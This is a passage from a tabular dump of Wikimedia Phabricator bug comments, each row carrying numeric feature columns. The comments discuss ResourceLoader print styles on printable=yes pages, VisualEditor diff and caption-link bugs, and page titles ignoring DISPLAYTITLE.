So if we do remove the printable mode, then having the JS enabled print mode link is probably quite desirable I suspect.",,,1433165098,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,100,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,7.0,0.0,9.0,13.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,7.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,9.0,13.0,1.0,0.0,3.0,0.0,9.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.7,"I do know that the ""printable"" link, in the past had surprising amount of traffic for other websites. As in: without it, people don't know how to print (yes, i know, i know...)

So if we do remove the printable mode, then having the JS enabled print mode link is probably quite desirable I suspect."
466506,ResourceLoader does not process media queries for printable view with JS-added CSS,"> Given that we should support printing the view page directly, perhaps it makes sense to remove the ""Printable"" mode from MediaWiki? 

{T24256}",,,1433112549,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,99,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"QUOTE

{T24256}"
466502,ResourceLoader does not process media queries for printable view with JS-added CSS,">>! In T51722#569487, @Mattflaschen wrote:
> [..]
> That illustrates that the print styles apply to the current DOM, not the original HTML source.  So even if the JS doesn't run in printable=yes, all the print styles still need to be correct in case they just print directly (without using printable view).

I agree. In fact, I suspect users that print pages would just print directly. It seems counterintuitive to first open a ""Printable version"".

Given that we should support printing the view page directly, perhaps it makes sense to remove the ""Printable"" mode from MediaWiki? The interface to print pages is part of the web browser. Having a control for it seems redundant.

If we want to keep it, we could collect analytics on popularity of printable=yes views in relation to [print events](http://tjvantoll.com/2012/06/15/detecting-print-requests-with-javascript/) (from both printable, and regular mode).",,,1433110472,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,99,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,2.5,11.5,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,5.5,1.0,2.5,0.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,4.0,1.0,8.5,1.5,1.0,5.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,7.0,11.5,2.0,1.0,2.0,0.0,7.0,0.0,0.5,1.5,0.0,1.5,0.0,0.0,1.0,4.0344827586206895,0.7586206896551724,"QUOTE
QUOTE
QUOTE

I agree. In fact, I suspect users that print pages would just print directly. It seems counterintuitive to first open a ""Printable version"".

Given that we should support printing the view page directly, perhaps it makes sense to remove the ""Printable"" mode from MediaWiki? The interface to print pages is part of the web browser. Having a control for it seems redundant.

If we want to keep it, we could collect analytics on popularity of printable=yes views in relation to [print events](URL (from both printable, and regular mode)."
246611,ResourceLoader does not process media queries for printable view with JS-added CSS,"Not actively working on this, so putting it back in the pool, but I think the original issue holds.  It seems we should either:

1. Pass printable to load.php on printable=yes pages.
2. Not run JS on printable=yes pages (as Krinkle says was the case earlier).",,,1393371920,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,11.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,5.0,3.4285714285714284,0.7619047619047619,"Not actively working on this, so putting it back in the pool, but I think the original issue holds.  It seems we should either:

1. Pass printable to load.php on printable=yes pages.
2. Not run JS on printable=yes pages (as Krinkle says was the case earlier)."
246605,ResourceLoader does not process media queries for printable view with JS-added CSS,"Change 69276 abandoned by Krinkle:
ResourceLoader: Pass printable parameter to load.php.

Reason:
Closing for now.

https://gerrit.wikimedia.org/r/69276",,,1393321150,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.6,0.8,"Change 69276 abandoned by Krinkle:
ResourceLoader: Pass printable parameter to load.php.

Reason:
Closing for now.

GERRIT_URL"
246599,ResourceLoader does not process media queries for printable view with JS-added CSS,"(In reply to comment #2)
> Which is wrong, those things are not supposed to be loaded on a print page
> (to avoid e.g. collapsible buttons, ""[show]"", etc.). Though some of those are
> hidden by CSS, it'd be better for them to not initialise in the first place.

Well, if we do that, we need to find an equally simple way to debug the print CSS.  There are extensions that are supposed to do it (e.g. https://addons.mozilla.org/en-US/firefox/addon/web-developer/), but it shows the screen *and* print styles.  There's probably a good way to do it, just need to find it.

More importantly to the average user, we may want to run some JS on the printable=yes view.  People sometimes read in that view, and there's some stuff that works in that bare-bones mode.

For instance, the reference popups on enwiki (https://en.wikipedia.org/wiki/MediaWiki:Gadget-ReferenceTooltips.js) currently work there, and it seems useful.  You can even get the popup to print with some finagling.

That illustrates that the print styles apply to the current DOM, not the original HTML source.  So even if the JS doesn't run in printable=yes, all the print styles still need to be correct in case they just print directly (without using printable view).",,,1371531290,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,2,True,,,-2,,1.6666666666666667,0.0,0.0,0.3333333333333333,1.0,4.0,0.3333333333333333,0.0,0.0,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.0,0.0,1.0,1.0,0.0,7.0,9.333333333333334,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,6.0,1.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,12.0,0.6666666666666666,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,5.333333333333333,1.0,7.666666666666667,1.3333333333333333,1.3333333333333333,8.333333333333334,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,1.0,0.3333333333333333,0.0,3.6666666666666665,9.333333333333334,3.3333333333333335,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,3.513250517598344,0.6986887508626639,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Well, if we do that, we need to find an equally simple way to debug the print CSS.  There are extensions that are supposed to do it (e.g. URL but it shows the screen *and* print styles.  There's probably a good way to do it, just need to find it.

More importantly to the average user, we may want to run some JS on the printable=yes view.  People sometimes read in that view, and there's some stuff that works in that bare-bones mode.

For instance, the reference popups on enwiki (URL currently work there, and it seems useful.  You can even get the popup to print with some finagling.

That illustrates that the print styles apply to the current DOM, not the original HTML source.  So even if the JS doesn't run in printable=yes, all the print styles still need to be correct in case they just print directly (without using printable view)."
246595,ResourceLoader does not process media queries for printable view with JS-added CSS,"We didn't pass this to the client and on to load.php because printable pages shouldn't run run any load queue.

http://mediawiki.dev/?printable=yes gives me:
> #top:
> mw.loader.load([""mediawiki.page.startup"",""mediawiki.legacy.wikibits"",""mediawiki.legacy.ajax""]);
> #bottom:
> mw.loader.load([""mediawiki.action.view.postEdit"",""mediawiki.user"",""mediawiki.hidpi"",""mediawiki.page.ready"",""mediawiki.searchSuggest"",""mediawiki.page.watch.ajax"",""ext.vector.collapsibleNav"",""ext.vector.collapsibleTabs"",""ext.visualEditor.viewPageTarget"",""skins.vector.js""],null,true);


Which is wrong, those things are not supposed to be loaded on a print page (to avoid e.g. collapsible buttons, ""[show]"", etc.). Though some of those are hidden by CSS, it'd be better for them to not initialise in the first place.

I think this is a regression. If memory serves, not so long ago there were no mw.loader calls on the printable view. Perhaps a change in Skin caused them to be inserted unconditionally?

Either way, if there is no other way around it, then the proposed change is good, but I'd prefer to prevent the client-side loader from being set up in the first place (so only the <link only=styles> will run).",,,1371523555,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,2.5,2.5,4.5,2.0,0.5,0.5,1.0,2.0,2.0,0.0,1.0,1.0,2.0,0.0,8.0,12.0,0.0,2.5,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.5,0.0,6.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,12.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,5.5,6.0,8.0,2.0,1.0,10.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.5,12.0,3.0,0.5,1.0,0.0,4.5,0.0,0.5,1.5,1.5,0.0,0.5,0.0,2.5,3.5217391304347823,0.7445652173913043,"We didn't pass this to the client and on to load.php because printable pages shouldn't run run any load queue.

URL gives me:
QUOTE
QUOTE
QUOTE
QUOTE


Which is wrong, those things are not supposed to be loaded on a print page (to avoid e.g. collapsible buttons, ""[show]"", etc.). Though some of those are hidden by CSS, it'd be better for them to not initialise in the first place.

I think this is a regression. If memory serves, not so long ago there were no mw.loader calls on the printable view. Perhaps a change in Skin caused them to be inserted unconditionally?

Either way, if there is no other way around it, then the proposed change is good, but I'd prefer to prevent the client-side loader from being set up in the first place (so only the <link only=styles> will run)."
246589,ResourceLoader does not process media queries for printable view with JS-added CSS,Related URL: https://gerrit.wikimedia.org/r/69276 (Gerrit Change I691588c39da7fadeac1ca2ace2c1b769fc4e1bd6),,,1371519777,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I691588c39da7fadeac1ca2ace2c1b769fc4e1bd6)
51692,VisualEditor: Diff is done with current revision instead of old revision when editing an old revision,"When I am editing an old revision of a page and then view the diff before saving it is the diff between the current version of the page and my edited version it seems. I was expecting to see the diff between the old revision and my edited version.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1371475440,1371585157.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-xnegl5h6ucwhzlod3aip,task_description,declined,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,7.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,4.0,0.5652173913043478,"When I am editing an old revision of a page and then view the diff before saving it is the diff between the current version of the page and my edited version it seems. I was expecting to see the diff between the old revision and my edited version.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
244601,VisualEditor: Diff is done with current revision instead of old revision when editing an old revision,"Oh I wasn't aware the wikitext-editor is doing the same. Then I guess you can close it. It should probably be consistent.

And yes the message could probably be improved.",,,1371542654,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xnegl5h6ucwhzlod3aip,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,3.0,8.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,8.0,11.0,16.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.736842105263158,0.7894736842105263,"Oh I wasn't aware the wikitext-editor is doing the same. Then I guess you can close it. It should probably be consistent.

And yes the message could probably be improved."
244597,VisualEditor: Diff is done with current revision instead of old revision when editing an old revision,"This is the same behaviour as the wikitext editor. :-)

Theoretically we could have diff-against-current and diff-against-starting-point, but that could be a bit messy.

Do you think the message (""review your changes"" in VE against ""review changes"" in wikitext) is confusing and should be changed?",,,1371488556,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnegl5h6ucwhzlod3aip,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.0,0.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,9.0,1.0,1.0,6.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8059701492537314,0.6716417910447762,"This is the same behaviour as the wikitext editor. :-)

Theoretically we could have diff-against-current and diff-against-starting-point, but that could be a bit messy.

Do you think the message (""review your changes"" in VE against ""review changes"" in wikitext) is confusing and should be changed?"
51680,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","Screenshot

See on https://en.wikipedia.org/wiki/Brainbuster for example, at the bottom - screenshot attached. Reproduced in Chrome, Firefox and Safari.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11473}",Low,25.0,1371464940,1402549729.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-msldrstq5fb4d2d5owxm,task_description,resolved,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.764705882352941,0.6470588235294118,"Screenshot

See on URL for example, at the bottom - screenshot attached. Reproduced in Chrome, Firefox and Safari.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11473}"
403739,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly",Seems to be fixed - confirmed in test2/production.,,,1422408680,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,Seems to be fixed - confirmed in test2/production.
243661,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly",I believe that this was fixed by Ed's work on this last week.,,,1402549729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,I believe that this was fixed by Ed's work on this last week.
243659,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","(In reply to comment #2)
> I had wondered whether the fix for bug 54446 would solve this too, but at
> least in Firefox 24.0 on Linux it is still evident.

Yeah, this is actually a rather more fundamental issue (the ""next"" item from the data model's point of view, if not the user's, is indeed a link). Sorry.",,,1380324768,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,10.0,2.0,0.0,12.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,10.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.076923076923077,0.75,"(In reply to comment #2)
QUOTE
QUOTE

Yeah, this is actually a rather more fundamental issue (the ""next"" item from the data model's point of view, if not the user's, is indeed a link). Sorry."
243654,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","I had wondered whether the fix for bug 54446 would solve this too, but at least in Firefox 24.0 on Linux it is still evident.",,,1380323919,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,7.0,19.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.740740740740741,1.0,"I had wondered whether the fix for bug 54446 would solve this too, but at least in Firefox 24.0 on Linux it is still evident."
243649,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","This only seems to happen with an image at the start of the lead section and seems unaffected by the presence of a template,

Test case: 
https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=567508072&veaction=edit

Real-world example:
https://en.wikipedia.org/w/index.php?title=Boden_Professor_of_Sanskrit_election%2C_1860&oldid=567473898&veaction=edit",,,1375863022,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.58974358974359,0.7948717948717948,"This only seems to happen with an image at the start of the lead section and seems unaffected by the presence of a template,

Test case: 
URL

Real-world example:
URL"
51667,<title> of editing page doesn't respect DISPLAYTITLE,"See also: T51633, T52341",Low,25.0,1371431700,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oipcbzqxlofc3iyaefws,task_description,open,True,c1,2,True,False,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"See also: T51633, T52341"
431993,<title> of editing page doesn't respect DISPLAYTITLE,See also {T88117},,,1427239342,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See also {T88117}
243040,<title> of editing page doesn't respect DISPLAYTITLE,Moving to MW core.,,,1416183397,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.0,1.0,Moving to MW core.
243033,<title> of editing page doesn't respect DISPLAYTITLE,"If I'm right that it's consistent with core, this bug should be moved there.",,,1398979991,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"If I'm right that it's consistent with core, this bug should be moved there."
